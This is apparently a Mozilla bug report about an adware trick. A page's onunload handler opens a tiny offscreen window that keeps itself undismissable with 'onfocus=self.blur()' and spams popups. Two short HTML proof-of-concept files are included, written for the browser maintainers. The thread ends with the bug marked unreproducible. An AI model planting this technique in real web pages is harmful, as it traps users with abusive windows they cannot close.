I was looking at bug 132581, and noticed that it had placed a little
window, bottom right, when I unloaded one of those pages. That little
window then proceeded to spam me with a new popup window every 3 minutes.
Clicking on the X control would not kill this 'agent' window, nor would
Alt-F4. I could kill the window on the win32 taskbar with a right-click
and 'Close', or if another application had focus, I could hit X to kill
the 'agent' window.
The trick is to do |<body onfocus='self.blur()'>| (and, get this, the
geniuses who promote this spam machine think they are worthy of receiving
a fricking patent).
--- spyLaunch.html ---
<html>
<head>
<script>
function MakeRemoteWindow() {
H = window.open("spy4.html",
"ef",
"height=1,width=1,left=10000,top=10000," +
"location=0,menubar=0,statusbar=0," +
"locationbar=0,scrollbars=0,resizable=0");
}
</script>
<body onUnload="MakeRemoteWindow();">
<p>Click on throbber. Evil undismissable window onunload.</p>
</body>
</html>
--- spy.html ---
<html>
<body onfocus="self.blur();">
<p>
You can't dismiss this window. It is now free to
spam you with ads for as long as it wants.
</p>
</body>
</html>

Update target milestone to 'Future' since this missed the 'mozilla1.1beta' train.
Target Milestone: mozilla1.1beta → Future
Can't reproduce this any more. If anyone can, please reopen.
